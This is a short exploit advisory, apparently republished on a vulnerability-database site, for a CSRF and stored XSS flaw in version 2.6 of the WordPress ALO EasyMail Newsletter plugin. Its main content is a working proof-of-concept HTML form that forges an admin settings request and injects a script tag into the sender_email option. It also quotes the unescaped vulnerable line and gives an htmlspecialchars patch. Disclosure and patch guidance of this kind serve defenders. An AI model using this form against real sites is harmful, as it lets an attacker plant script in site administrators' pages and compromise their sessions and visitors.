`# Exploit Title: Wordpress ALO EasyMail Newsletter CSRF/XSS
# Exploit Author: Ashiyane Digital Security Team
# Vendor Homepage: https://wordpress.org/plugins/alo-easymail/
# Software Link:
https://downloads.wordpress.org/plugin/alo-easymail.2.6.00.zip
# Version: 2.6
# Date: 2015-09-15
# Tested on: windows 7 /FireFox
####################################################
#Exploit :
<form name="XSS" method="POST"
action="http://[URL]/[Path]/wp-admin/edit.php?post_type=newsletter&page=alo-easymail/pages/alo-easymail-admin-options.php">
<input Type="hidden" name="lastposts" value="10" />
<input Type="hidden" name="sender_email" value='"><script>alert(/This
is Xss/)</script>' />
<input Type="hidden" name="user_ID" value="1" />
<input Type="hidden" name="task" value="tab_newsletter" />
<input Type="hidden" name="submit" value="Update" />
<input type="submit" value="Submit Form" />
</form>
####################################################################
# Vulnerable File :
/wp-content/plugins/alo-easymail/pages/alo-easymail-admin-options.php
# Vulnerable codes:
Line 484 :
<input type="text" name="sender_email" value="<?php echo
get_option('alo_em_sender_email') ?>" id="sender_email" size="30"
maxlength="100" />
=================================
For Patch XSS :
Replace Line 484 With:
<input type="text" name="sender_email" value="<?php echo
htmlspecialchars(get_option('alo_em_sender_email')) ?>"
id="sender_email" size="30" maxlength="100" />
##########################################################
discovered by : Amir.ght(Goldhack)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation